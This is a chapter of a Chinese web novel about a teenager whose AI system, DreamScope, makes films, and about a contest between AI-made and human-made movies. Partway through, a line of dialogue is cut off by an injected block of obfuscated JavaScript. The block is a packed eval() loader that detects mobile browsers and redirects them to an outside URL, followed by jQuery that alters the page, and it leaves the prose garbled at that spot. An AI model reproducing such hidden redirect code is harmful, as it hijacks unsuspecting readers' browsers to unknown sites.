只有十七岁的男孩Peterson，以前总是待在母亲公司旧服务器间，一脸认真地敲着键盘，眼前几乎没有阳光，只剩闪烁的代码反光。母亲Lexa常说他沉迷得像疯子，又有点像魔术师。最初她还以为那只是少年一时冲动做的小玩具，可当Peterson忽然跑来，眼神亮得像要点燃整间办公室，说自己建好了一个能独自创作电影的AI系统时，她的表情一瞬间被震住。
“DreamScope，它可以自己写剧本、分镜、灯光、故事情绪、演员动作。” Peterson声音颤动，既兴奋又带着挑衅的语气， “我让它学了上千部经典电影，又让它吸收最新的虚拟影像算法，结果它产出了第一部AI 示范片。”
Lexa怔了几秒，随后笑出声。她并不惊讶于儿子的天分，而是那种毫无顾虑地挑战世界的勇气。
“你以为电影工会、导演协会会赞成你干这事？” 她轻轻地问。
Peterson耸耸肩： “他们多半会骂我疯了，可他们的愤怒说明我做对了事。”
这一句后来成了他社交平台上的签名语。
Peterson在网络上张贴那段示范片时，眼前的灯光闪烁如昼。几乎一夜之间，数百万次转发，留言区炸开。有人赞他天才，用未来的艺术打破陈规；也有人怒骂，这让真正的演员失业，毁掉电影灵魂。那示范片里的AI演员全是虚拟光影，它们微笑、哭泣、奔跑，动作完美却毫无人味。镜头如梦，画面艳丽，仿佛在看一个漂浮不着地的世界。
“你毁了电影。” ——这是最常见的评论。
William静静地看着电脑屏幕，对弟弟说： “看吧，他们不懂你，可他们怕你。”
Peterson靠在墙边，笑着摇头： “我也怕自己，我怕这个AI太快学会我们所有的情感。而我们却没来得及想，它该不该拥有它们。”
William叹口气，那是哥哥特有的稳重叹息。他在机甲训练馆里长大，习惯解决问题，而非创造问题。他懂弟弟的执念，却也担心他越走越远。
“如果有天AI能拍出比人还感动的电影，你确定那真是梦，不是噩梦？”
Peterson没答，只抬头看了窗外模糊的城市灯线，说道： “或许梦和噩梦只是一个AI里的两种参数。”
几个月后，他们在母亲公司闲置的实验棚成立了“ZeroCrew剧组”。几十个年轻人聚在一起，他们都厌倦传统电影流程，厌倦被预算和制片规则束缚。他们用AI设计镜头，用算法挑选镜头角度，用数据生成情绪节奏。
那是一个极度混乱又激情四射的地方，空气里总混着电子机箱的热气、咖啡味，还有希望燃烧时的气息。Peterson站在控制台前，对着那台被改造的主机说道： “DreamScope，现在轮到我们寻找梦想了。” 这就是故事的由来。
屏幕上光影瞬间跳跃，代码流动如水。
有人笑着拍他肩：“疯子，整座城市都在等看你的笑话。”
Peterson没回头，只轻轻回应： “那就让他们笑到最后一秒。”
示范片问世一周后，Emma出现在全国电视新闻直播中。那天午后天空晴朗得像被洗过一般，阳光洒满整座城市街道，空气里带着微微的暖意。她走上演播室台前，身披一袭浅白外套，线条干净而柔和，发丝在灯光下泛出淡淡金色光泽。她微微一笑，举止安然从容，神情却稳如山石，仿佛已做好迎接风暴的准备。
镜头前她语调平静，每个字都像经过打磨般透着力量：“我看了Peterson的作品。” 她稍稍顿了一瞬，轻轻吐出那句，“它确实令人震惊。” 光映在她眼眸深处时闪过坚决神色，“但我依然相信，人类在电影世界里能看到的不只是光的形状，还有生命的味道。” 她的声音在演播厅中回荡，随后露出微笑，语调忽然变得带着一丝挑战意味，“我想对Peterson说——不如做一个比赛。”
此刻远在另一座城市的办公室里，Peterson正坐在宽大的屏幕前，刚端起的咖啡还未入口，听到“比赛”两个字，险些让那杯咖啡泼在键盘上。他愣了几秒，嘴角浮出一抹哭笑不得的弧线，似乎被这突然而勇敢的提议击中了什么。
屏幕中的Emma继续发言，语气不疾不徐：“我们拿同一个剧本分别交给两个团队，一个由AI负责创作与制作，一个由真人团队拍摄。最后让观众自己决定，他们愿意为哪个世界鼓掌。” 她说得镇定淡然，却在不经意的语气里藏着锋利。
那一分钟，整座城市如被无形之手按下静音键，只剩新闻女声在空中飘浮。街头行人停下脚步，办公室屏幕前的人都抬起了头，空气里充满一股将爆未爆的紧张。
William几乎是下意识地关掉电视，转身瞪向坐在沙发上的弟弟，神情又急又怒：“你完了，你被人摆上舞台了。”
Peterson没有立刻反驳，他静静看着熄灭的屏幕，忽然低低一笑，头微微后仰，脸上浮现一种无奈又带点快意的神色。他喃喃道： “她很聪明，她用比赛让大家明白，AI的世界并非无敌。而我没法拒绝，因为她说得太对。”
房间气氛随之凝结，又似乎在那句“太对”里被轻轻化开，只留下一个正在启动的未来。
Emma第一次来ZeroCrew的时候，是个灰蒙的下午。工厂窗外尘雾翻滚，她穿过走廊，看见那群满脸疲惫还带着光的年轻人。
“你这里看起来不像剧组，像地下实验室。”她调侃。
Peterson笑： “我们这里拍的不仅是电影，是未来。”
“未来？” 她走近那台主机，敲了敲外壳，“这玩意儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539923|186609||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真的能理解情感？”
“它不理解，但它能模拟。像镜子，你笑它笑，你哭它哭。可是镜子永远不会真正懂你。”
Emma抬眼看他，那一瞬空气像凝固。他的眼神不带挑衅，只是一种柔和而倔强的热。
“那你希望它懂吗？” 她问。
“我希望它懂，但又怕它真的懂。”
Emma沉默几秒，低声说： “你像是在造一个有灵魂的疯子。”
他轻轻笑出声：“疯子，就叫它DreamScope。”
他们对视的那一刻，连机器噪声都变得温柔。
比赛的准备在有条不紊氛围中慢慢展开，整个片场似乎笼罩在一种微妙而又庄重气息里，所有人都屏息期待那场即将开始的创作冒险。剧本名字叫做《世界上最浪漫的事就是遇见你》，这是一部由AI独立完成的故事，它并非凭空出现，而是通过庞大数据搜集观众过往反应与情感偏好，再由算法层层计算提炼出最容易打动人心的情节走向，最后生成这样一个充满温柔与幻想味道剧本。
在同一时间，Emma早早召集团队成员，用一种近乎坚定决绝态度邀请了几位在国际影坛屡获殊荣导演与编剧，他们坐在会议桌前阅读那份AI作品，每个人神情复杂，有惊讶也有好奇，他们决定以AI剧本作为灵感起点，重新塑造带有人类温度电影版本，期望在冷静理性技术中融入更多情感灵光。
远处Peterson与ZeroCrew正在密集测试一款名叫DreamScope系统，他们不断调整内部算法，把原本略显单调镜头色彩调得更加细腻柔和，还让声音在空间中产生更真实回响，让虚拟世界深邃得像现实一样。这个AI电影版本依然没有任何真人出演，却呈现出极高说服力表演，那些表情、眼神与呼吸几乎能让人误以为屏幕里藏着灵魂。整个团队看着屏幕闪烁光影时都有种恍惚感觉，好像人类与机器边界正在悄然模糊。
Lexa有时来看儿子，她站在门口，看着那群年轻人熬夜编程，她的眼睛闪烁不明光。
“Peterson，你知道你在挑战整个产业。”
“如果不挑战，它永远不会变得更好。”
她叹口气，转过身去：“你太像我年轻时的样子，也太像一个不知退路的疯子。”
Peterson微笑： “疯子有时也会改变世界。”
时间一点点流走，AI电影终于完成。那夜ZeroCrew所有人挤在昏暗工棚，看着投影布幕上跳出的第一帧画面，整片空气都在颤动。那是一段仿佛在梦与现实之间漂浮的光影，城市街道闪着奇异脉动，人物动作近乎真实却又美得超现实。
William静静看完，说： “它确实美，可我不知道它是不是电影。”
Peterson望着屏幕，声音平静： “或许那不重要。”